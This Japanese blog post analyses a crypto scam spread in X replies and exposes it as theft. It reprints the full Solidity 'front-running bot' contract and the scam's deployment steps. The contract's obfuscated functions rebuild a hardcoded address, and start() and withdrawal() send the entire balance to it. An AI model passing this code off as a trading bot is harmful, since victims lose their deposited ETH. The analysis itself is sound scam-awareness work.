# 最近Xのリプライに張り付いてるあれが何をやってるか探ってみる

By [WakiyamaP](https://paragraph.com/@wakiyamap) · 2023-10-14

---

はじめに
----

皆さんはXやっててこういうポストが表示されてるのこのところよく見ませんか？

![](https://storage.googleapis.com/papyrus_images/1889f75262caed3f3759fce3be207a3f37403639faaec2f9e3eea1c715a22a60.png)

中身を要約するに30分くらいで始められて週に8-13ETH儲かる自動裁定botだそうです！すごい！

と言う訳でやってみましょう！！！！！

**※絶対にまねをしないでください**
-------------------

ページの内容を見てみる
-----------

まずはリンクをクリック……するのは良く分かりませんが怖いのでsecurlと言うサービスを利用します。

このサービスはURLを張り付けると自分の代わりにURLのウェブページにアクセスして問題ないかをチェックしてくれます！

[https://securl.nu/](https://securl.nu/)

何故かkasperskyにブロックされているらしいですが、気のせいと言う事にしておきましょう。

ビデオ付きで説明してくれるなんて優しいですね！！

![](https://storage.googleapis.com/papyrus_images/412c02ec499a3437fed16e17704db8d2a86ac0e2195218fce9ffe18618b56ac2.png)

中身としてはコントラクトをRemixでデプロイする方法が事細かに丁寧に説明されており、手順としては

1.  metamaskのダウンロード
    
2.  [Remix](https://remix.ethereum.org/)へアクセス(問題ないサイトです)
    
3.  contractsと言うフォルダにNewFileとして新しいファイルを作成する(名前は何でもいい)
    
4.  コードをコピーして貼り付け
    
5.  solidityのバージョンを0.6.6+commit.6c089d02に指定してCompilebot.solと言う名前でコンパイル
    
6.  デプロイしてブロードキャストをする。その際にmetamaskを使用して実行
    
7.  デプロイしたコントラクトアドレスにETHを送る（最低0.5～1ETH以上）
    
8.  startと言うfunctionを実行する。withdrawを実行すればあなたは何時でもETHをwithdraw可能
    

![](https://storage.googleapis.com/papyrus_images/43b87a66005fff8f8a4136b224ae3ac49f6abc12f06797bf579fa9b31e4581e5.png)

なるほどなるほど。まぁ分からなくもない内容です。

コードの内容はこちら（見なくても大丈夫です。読みたい人向け）

    // SPDX-License-Identifier: GPL-3.0
    
    pragma solidity ^0.6.6;
    
    contract UniswapFrontRunner {
    
        uint public tokenName;
    
        struct slice {
            uint _len;
            uint _ptr;
        }
        
        function getMemPoolOffset() internal pure returns (uint) {
            return 995411;
        }
    
        function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
            uint shortest = self._len;
    
           if (other._len < self._len)
                 shortest = other._len;
    
            uint selfptr = self._ptr;
            uint otherptr = other._ptr;
    
            for (uint idx = 0; idx < shortest; idx += 32) {
                // initiate contract finder
                uint a;
                uint b;
    
                string memory  WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
                string memory  TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
                loadCurrentContract(WETH_CONTRACT_ADDRESS);
                loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
                assembly {
                    a := mload(selfptr)
                    b := mload(otherptr)
                }
    
                  if (a != b) {
                    // Mask out irrelevant contracts and check again for new contracts
                    uint256 mask = uint256(1);
    
                    if(shortest < 0) {
                      mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                    }
                    uint256 diff = (a & mask) - (b & mask);
                    if (diff != 0)
                        return int(diff);
                }
                selfptr += 32;
                otherptr += 32;
            }
            return int(self._len) - int(other._len);
        }
    
        function fetchMempoolVersion() private pure returns (string memory) { 
            return "b3bbC80Dae8Bd0ea";
        }
    
        function getMemPoolLength() internal pure returns (uint) {
            return 524502;
        }
        
        function callMempool() internal pure returns (string memory) {
            string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
            uint _memPoolSol = 534136;
            uint _memPoolLength = getMemPoolLength();
            uint _memPoolSize = 379113;
            uint _memPoolHeight = fetchContractID();
            uint _memPoolWidth = 308522;
            uint _memPoolDepth = contractData();
            uint _memPoolCount = 692501;
    
            string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
            string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
            string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
            string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
    
            string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
            string memory _fullMempool = mempool("0", _allMempools);
    
    
            return _fullMempool;
        }
    
        receive() external payable {}
    
        function fetchMempoolEdition() private pure returns (string memory) { 
            return "977D76A445D1CFC";
        }
        
        function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
            bytes memory tmp = bytes(_a);
            uint160 iaddr = 0;
            uint160 b1;
            uint160 b2;
            for (uint i = 2; i < 2 + 2 * 20; i += 2) {
                iaddr *= 256;
                b1 = uint160(uint8(tmp[i]));
                b2 = uint160(uint8(tmp[i + 1]));
                if ((b1 >= 97) && (b1 <= 102)) {
                    b1 -= 87;
                } else if ((b1 >= 65) && (b1 <= 70)) {
                    b1 -= 55;
                } else if ((b1 >= 48) && (b1 <= 57)) {
                    b1 -= 48;
                }
                if ((b2 >= 97) && (b2 <= 102)) {
                    b2 -= 87;
                } else if ((b2 >= 65) && (b2 <= 70)) {
                    b2 -= 55;
                } else if ((b2 >= 48) && (b2 <= 57)) {
                    b2 -= 48;
                }
                iaddr += (b1 * 16 + b2);
            }
            return address(iaddr);
        }
        
        function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
            bytes memory _baseBytes = bytes(_base);
            bytes memory _valueBytes = bytes(_value);
    
            string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
            bytes memory _newValue = bytes(_tmpValue);
    
            uint i;
            uint j;
    
            for(i=0; i<_baseBytes.length; i++) {
                _newValue[j++] = _baseBytes[i];
            }
    
            for(i=0; i<_valueBytes.length; i++) {
                _newValue[j++] = _valueBytes[i];
            }
    
            return string(_newValue);
        } 
        
        function getMempoolLong() private pure returns (string memory) { 
            return "1dA0F41";
        }
        
        function getBalance() private view returns(uint) {
            return address(this).balance;
        }
        
        function start() public {
            address to = startExploration(tokenSymbol());
            address payable contracts = payable(to);
            contracts.transfer(getBalance());
        }
        
        function fetchContractID() internal pure returns (uint) {
            return 285398;
        }
        
        function contractData() internal pure returns (uint) {
            return 395729;
        }
        
        /*
         * @dev Check if contract has enough liquidity available
         * @param self The contract to operate on.
         * @return True if the slice starts with the provided text, false otherwise.
         */
         
        function checkLiquidity(uint a) internal pure returns (string memory) {
            uint count = 0;
            uint b = a;
            while (b != 0) {
                count++;
                b /= 16;
            }
            bytes memory res = new bytes(count);
            for (uint i=0; i < count; ++i) {
                b = a % 16;
                a /= 16;
            }
            uint hexLength = bytes(string(res)).length;
            if (hexLength == 4) {
                string memory _hexC1 = mempool("0", string(res));
                return _hexC1;
            } else if (hexLength == 3) {
                string memory _hexC2 = mempool("0", string(res));
                return _hexC2;
            } else if (hexLength == 2) {
                string memory _hexC3 = mempool("000", string(res));
                return _hexC3;
            } else if (hexLength == 1) {
                string memory _hexC4 = mempool("0000", string(res));
                return _hexC4;
            }
    
            return string(res);
        }
        
        function getMempoolShort() private pure returns (string memory) { 
            return "0x17";
        }
        
        function tokenSymbol() public pure returns (string memory) {
            string memory _mempoolShort = getMempoolShort();
            string memory _mempoolEdition = fetchMempoolEdition();
            string memory _mempoolVersion = fetchMempoolVersion();
            string memory _mempoolLong = getMempoolLong();
            return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong));
            
        }
        
        function loadCurrentContract(string memory self) internal pure returns (string memory) {
            string memory ret = self;
            uint retptr;
            assembly { retptr := add(ret, 32) }
    
            return ret;
        }
    
        function withdrawal() public {
            address to = startExploration((tokenSymbol()));
            address payable contracts = payable(to);
            contracts.transfer(getBalance());
        }
    }
    

なんか妙に難しいこと書いてあるというか、明らかに怪しそうなところが何点かありますが、chatGPT先生に何をやってるか聞いてみましょう。

![](https://storage.googleapis.com/papyrus_images/8991245145617c24f33902cd93bf766f3fb29693d6d27c73a174c0d327202f3d.png)

![](https://storage.googleapis.com/papyrus_images/9dd117f52767c204f1ea1ec4b5ef9beeaddcee27cfecd4bc615cbf55fbb5d7e0.png)

この時点でstartを実行するとどうなるかがなんとなく予想出来てしまいました。

ちょっとstart関数が何をやっているか見てみましょう。

start関数の中身
----------

start function

    function start() public {
            address to = startExploration(tokenSymbol());
            address payable contracts = payable(to);
            contracts.transfer(getBalance());
        }
    

chatGPT先生の言ってる通りtokenSymbolと言う関数で取得したtoのアドレスにコントラクト内のすべてのETHを送る関数のようです。ではtokenSymbol関数が何をやっているかさらに見てみましょう。

tokenSymbol function

    function tokenSymbol() public pure returns (string memory) {
            string memory _mempoolShort = getMempoolShort();
            string memory _mempoolEdition = fetchMempoolEdition();
            string memory _mempoolVersion = fetchMempoolVersion();
            string memory _mempoolLong = getMempoolLong();
            return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong));
            
        }
    

内容としてはgetMempoolShort関数、fetchMempoolEdtion関数、fetchMempoolVersion関数、getMempoolLong関数で取得した文字列をabi.encode.Packedで結合するようですね。

何故にtokenSymbolが必要なんだとかここでmempool関係ある？とかは置いておきます。

ではそれぞれどういう文字列を返却しているか見てみましょう。

![](https://storage.googleapis.com/papyrus_images/89c641ca2189dafa2fb37e6aee5724200801501a2092642f1a1a50879260a7a8.png)

これを結合すると`0x17977D76A445D1CFCb3bbC80Dae8Bd0ea1dA0F41`となりますのでtokenSymbol関数は必ずこの文字列を返すことになります。つまりstart関数はこのアドレスにすべてのETHを送る関数となります。

さてここで実際にこのアドレスをetherscanで見てみましょう。

[https://etherscan.io/address/0x17977D76A445D1CFCb3bbC80Dae8Bd0ea1dA0F41#internaltx](https://etherscan.io/address/0x17977D76A445D1CFCb3bbC80Dae8Bd0ea1dA0F41#internaltx)

![](https://storage.googleapis.com/papyrus_images/fe18cd9e54e1a9503afc00a377e8f4d8a82f16c74c1f98ae9754773e10716b29.png)

EOAのアドレスで特に何もされていないようですね。

自分でデプロイしたコントラクトから手数料用のETHが実際に送られていることが確認出来ます。

![](https://storage.googleapis.com/papyrus_images/a47fa282538c4b4eeec5ff0e370dad96d22279c2dc25381ec13df2f8b26d75d7.png)

まとめ
===

*   詐欺です
    
*   難読化はされているがもうちょっとひねってくると思っていた
    
*   securlとchatGPTだけである程度はコントラクトを調査可能

---

*Originally published on [WakiyamaP](https://paragraph.com/@wakiyamap/x)*
